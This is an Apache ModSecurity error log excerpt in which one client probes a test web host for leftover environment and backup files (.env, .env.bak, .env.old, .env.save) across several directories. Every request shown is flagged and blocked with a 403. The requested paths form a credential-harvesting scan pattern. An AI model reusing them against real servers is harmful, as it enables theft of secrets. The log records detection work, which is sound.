[Sun Oct 26 01:24:37.026021 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1cNdPNphQKiiMCb4eQkgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:37.026277 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1cNdPNphQKiiMCb4eQkgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:37.026566 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1cNdPNphQKiiMCb4eQkgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:37.026821 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1cNdPNphQKiiMCb4eQkgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:37.632012 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aP1cNdPNphQKiiMCb4eQkwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:37.632273 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aP1cNdPNphQKiiMCb4eQkwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:37.632479 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aP1cNdPNphQKiiMCb4eQkwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.239450 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aP1cNtPNphQKiiMCb4eQlAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.239709 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aP1cNtPNphQKiiMCb4eQlAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.239926 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aP1cNtPNphQKiiMCb4eQlAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.845398 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cNtPNphQKiiMCb4eQlQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.845609 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cNtPNphQKiiMCb4eQlQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.845897 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cNtPNphQKiiMCb4eQlQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:38.846137 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cNtPNphQKiiMCb4eQlQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:39.451812 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cN9PNphQKiiMCb4eQlgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:39.452053 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cN9PNphQKiiMCb4eQlgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:39.452328 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cN9PNphQKiiMCb4eQlgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:39.452562 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cN9PNphQKiiMCb4eQlgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:40.058041 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aP1cONPNphQKiiMCb4eQlwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:40.058296 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aP1cONPNphQKiiMCb4eQlwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:40.058534 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aP1cONPNphQKiiMCb4eQlwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:40.664464 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aP1cONPNphQKiiMCb4eQmAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:40.664708 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aP1cONPNphQKiiMCb4eQmAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:40.664901 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aP1cONPNphQKiiMCb4eQmAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.270024 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cOdPNphQKiiMCb4eQmQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.270250 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cOdPNphQKiiMCb4eQmQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.270562 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cOdPNphQKiiMCb4eQmQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.270801 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aP1cOdPNphQKiiMCb4eQmQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.875732 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1cOdPNphQKiiMCb4eQmgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.875929 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1cOdPNphQKiiMCb4eQmgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.876161 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1cOdPNphQKiiMCb4eQmgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:41.876358 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aP1cOdPNphQKiiMCb4eQmgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:42.481473 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aP1cOtPNphQKiiMCb4eQmwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:42.481743 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aP1cOtPNphQKiiMCb4eQmwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:42.481949 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aP1cOtPNphQKiiMCb4eQmwAAAAA"], referer: https://www.google.com/
